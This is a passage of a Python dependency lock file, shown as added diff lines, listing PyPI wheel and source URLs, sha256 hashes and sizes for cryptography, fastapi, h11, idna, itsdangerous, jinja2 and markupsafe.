"sha256:db0f493b9181c7820c8134437eb8b0b4792085d37dbb24da050476ccb664e59c", size = 4268551, upload-time = "2026-04-08T01:56:46.071Z" }, + { url = "https://files.pythonhosted.org/packages/03/11/5e395f961d6868269835dee1bafec6a1ac176505a167f68b7d8818431068/cryptography-46.0.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ebd6daf519b9f189f85c479427bbd6e9c9037862cf8fe89ee35503bd209ed902", size = 4408887, upload-time = "2026-04-08T01:56:47.718Z" }, + { url = "https://files.pythonhosted.org/packages/40/53/8ed1cf4c3b9c8e611e7122fb56f1c32d09e1fff0f1d77e78d9ff7c82653e/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:b7b412817be92117ec5ed95f880defe9cf18a832e8cafacf0a22337dc1981b4d", size = 4271354, upload-time = "2026-04-08T01:56:49.312Z" }, + { url = "https://files.pythonhosted.org/packages/50/46/cf71e26025c2e767c5609162c866a78e8a2915bbcfa408b7ca495c6140c4/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:fbfd0e5f273877695cb93baf14b185f4878128b250cc9f8e617ea0c025dfb022", size = 4905845, upload-time = "2026-04-08T01:56:50.916Z" }, + { url = "https://files.pythonhosted.org/packages/c0/ea/01276740375bac6249d0a971ebdf6b4dc9ead0ee0a34ef3b5a88c1a9b0d4/cryptography-46.0.7-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:ffca7aa1d00cf7d6469b988c581598f2259e46215e0140af408966a24cf086ce", size = 4444641, upload-time = "2026-04-08T01:56:52.882Z" }, + { url = "https://files.pythonhosted.org/packages/3d/4c/7d258f169ae71230f25d9f3d06caabcff8c3baf0978e2b7d65e0acac3827/cryptography-46.0.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:60627cf07e0d9274338521205899337c5d18249db56865f943cbe753aa96f40f", size = 3967749, upload-time = "2026-04-08T01:56:54.597Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2a/2ea0767cad19e71b3530e4cad9605d0b5e338b6a1e72c37c9c1ceb86c333/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:80406c3065e2c55d7f49a9550fe0c49b3f12e5bfff5dedb727e319e1afb9bf99", size = 4270942, upload-time = "2026-04-08T01:56:56.416Z" }, + { url = "https://files.pythonhosted.org/packages/41/3d/fe14df95a83319af25717677e956567a105bb6ab25641acaa093db79975d/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:c5b1ccd1239f48b7151a65bc6dd54bcfcc15e028c8ac126d3fada09db0e07ef1", size = 4871079, upload-time = "2026-04-08T01:56:58.31Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/4a479e0f36f8f378d397f4eab4c850b4ffb79a2f0d58704b8fa0703ddc11/cryptography-46.0.7-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d5f7520159cd9c2154eb61eb67548ca05c5774d39e9c2c4339fd793fe7d097b2", size = 4443999, upload-time = "2026-04-08T01:57:00.508Z" }, + { url = "https://files.pythonhosted.org/packages/28/17/b59a741645822ec6d04732b43c5d35e4ef58be7bfa84a81e5ae6f05a1d33/cryptography-46.0.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fcd8eac50d9138c1d7fc53a653ba60a2bee81a505f9f8850b6b2888555a45d0e", size = 4399191, upload-time = "2026-04-08T01:57:02.654Z" }, + { url = "https://files.pythonhosted.org/packages/59/6a/bb2e166d6d0e0955f1e9ff70f10ec4b2824c9cfcdb4da772c7dd69cc7d80/cryptography-46.0.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:65814c60f8cc400c63131584e3e1fad01235edba2614b61fbfbfa954082db0ee", size = 4655782, upload-time = "2026-04-08T01:57:04.592Z" }, + { url = "https://files.pythonhosted.org/packages/95/b6/3da51d48415bcb63b00dc17c2eff3a651b7c4fed484308d0f19b30e8cb2c/cryptography-46.0.7-cp314-cp314t-win32.whl", hash = "sha256:fdd1736fed309b4300346f88f74cd120c27c56852c3838cab416e7a166f67298", size = 3002227, upload-time = "2026-04-08T01:57:06.91Z" }, + { url = "https://files.pythonhosted.org/packages/32/a8/9f0e4ed57ec9cebe506e58db11ae472972ecb0c659e4d52bbaee80ca340a/cryptography-46.0.7-cp314-cp314t-win_amd64.whl", hash = "sha256:e06acf3c99be55aa3b516397fe42f5855597f430add9c17fa46bf2e0fb34c9bb", size = 3475332, upload-time = "2026-04-08T01:57:08.807Z" }, + { url = "https://files.pythonhosted.org/packages/a7/7f/cd42fc3614386bc0c12f0cb3c4ae1fc2bbca5c9662dfed031514911d513d/cryptography-46.0.7-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:462ad5cb1c148a22b2e3bcc5ad52504dff325d17daf5df8d88c17dda1f75f2a4", size = 7165618, upload-time = "2026-04-08T01:57:10.645Z" }, + { url = "https://files.pythonhosted.org/packages/a5/d0/36a49f0262d2319139d2829f773f1b97ef8aef7f97e6e5bd21455e5a8fb5/cryptography-46.0.7-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:84d4cced91f0f159a7ddacad249cc077e63195c36aac40b4150e7a57e84fffe7", size = 4270628, upload-time = "2026-04-08T01:57:12.885Z" }, + { url = "https://files.pythonhosted.org/packages/8a/6c/1a42450f464dda6ffbe578a911f773e54dd48c10f9895a23a7e88b3e7db5/cryptography-46.0.7-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:128c5edfe5e5938b86b03941e94fac9ee793a94452ad1365c9fc3f4f62216832", size = 4415405, upload-time = "2026-04-08T01:57:14.923Z" }, + { url = "https://files.pythonhosted.org/packages/9a/92/4ed714dbe93a066dc1f4b4581a464d2d7dbec9046f7c8b7016f5286329e2/cryptography-46.0.7-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5e51be372b26ef4ba3de3c167cd3d1022934bc838ae9eaad7e644986d2a3d163", size = 4272715, upload-time = "2026-04-08T01:57:16.638Z" }, + { url = "https://files.pythonhosted.org/packages/b7/e6/a26b84096eddd51494bba19111f8fffe976f6a09f132706f8f1bf03f51f7/cryptography-46.0.7-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cdf1a610ef82abb396451862739e3fc93b071c844399e15b90726ef7470eeaf2", size = 4918400, upload-time = "2026-04-08T01:57:19.021Z" }, + { url = "https://files.pythonhosted.org/packages/c7/08/ffd537b605568a148543ac3c2b239708ae0bd635064bab41359252ef88ed/cryptography-46.0.7-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1d25aee46d0c6f1a501adcddb2d2fee4b979381346a78558ed13e50aa8a59067", size = 4450634, upload-time = "2026-04-08T01:57:21.185Z" }, + { url = "https://files.pythonhosted.org/packages/16/01/0cd51dd86ab5b9befe0d031e276510491976c3a80e9f6e31810cce46c4ad/cryptography-46.0.7-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:cdfbe22376065ffcf8be74dc9a909f032df19bc58a699456a21712d6e5eabfd0", size = 3985233, upload-time = "2026-04-08T01:57:22.862Z" }, + { url = "https://files.pythonhosted.org/packages/92/49/819d6ed3a7d9349c2939f81b500a738cb733ab62fbecdbc1e38e83d45e12/cryptography-46.0.7-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:abad9dac36cbf55de6eb49badd4016806b3165d396f64925bf2999bcb67837ba", size = 4271955, upload-time = "2026-04-08T01:57:24.814Z" }, + { url = "https://files.pythonhosted.org/packages/80/07/ad9b3c56ebb95ed2473d46df0847357e01583f4c52a85754d1a55e29e4d0/cryptography-46.0.7-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:935ce7e3cfdb53e3536119a542b839bb94ec1ad081013e9ab9b7cfd478b05006", size = 4879888, upload-time = "2026-04-08T01:57:26.88Z" }, + { url = "https://files.pythonhosted.org/packages/b8/c7/201d3d58f30c4c2bdbe9b03844c291feb77c20511cc3586daf7edc12a47b/cryptography-46.0.7-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:35719dc79d4730d30f1c2b6474bd6acda36ae2dfae1e3c16f2051f215df33ce0", size = 4449961, upload-time = "2026-04-08T01:57:29.068Z" }, + { url = "https://files.pythonhosted.org/packages/a5/ef/649750cbf96f3033c3c976e112265c33906f8e462291a33d77f90356548c/cryptography-46.0.7-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7bbc6ccf49d05ac8f7d7b5e2e2c33830d4fe2061def88210a126d130d7f71a85", size = 4401696, upload-time = "2026-04-08T01:57:31.029Z" }, + { url = "https://files.pythonhosted.org/packages/41/52/a8908dcb1a389a459a29008c29966c1d552588d4ae6d43f3a1a4512e0ebe/cryptography-46.0.7-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a1529d614f44b863a7b480c6d000fe93b59acee9c82ffa027cfadc77521a9f5e", size = 4664256, upload-time = "2026-04-08T01:57:33.144Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fa/f0ab06238e899cc3fb332623f337a7364f36f4bb3f2534c2bb95a35b132c/cryptography-46.0.7-cp38-abi3-win32.whl", hash = "sha256:f247c8c1a1fb45e12586afbb436ef21ff1e80670b2861a90353d9b025583d246", size = 3013001, upload-time = "2026-04-08T01:57:34.933Z" }, + { url = "https://files.pythonhosted.org/packages/d2/f1/00ce3bde3ca542d1acd8f8cfa38e446840945aa6363f9b74746394b14127/cryptography-46.0.7-cp38-abi3-win_amd64.whl", hash = "sha256:506c4ff91eff4f82bdac7633318a526b1d1309fc07ca76a3ad182cb5b686d6d3", size = 3472985, upload-time = "2026-04-08T01:57:36.714Z" }, +] + +[[package]] +name = "fastapi" +version = "0.135.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f7/e6/7adb4c5fa231e82c35b8f5741a9f2d055f520c29af5546fd70d3e8e1cd2e/fastapi-0.135.3.tar.gz", hash = "sha256:bd6d7caf1a2bdd8d676843cdcd2287729572a1ef524fc4d65c17ae002a1be654", size = 396524, upload-time = "2026-04-01T16:23:58.188Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/a4/5caa2de7f917a04ada20018eccf60d6cc6145b0199d55ca3711b0fc08312/fastapi-0.135.3-py3-none-any.whl", hash = "sha256:9b0f590c813acd13d0ab43dd8494138eb58e484bfac405db1f3187cfc5810d98", size = 117734, upload-time = "2026-04-01T16:23:59.328Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = 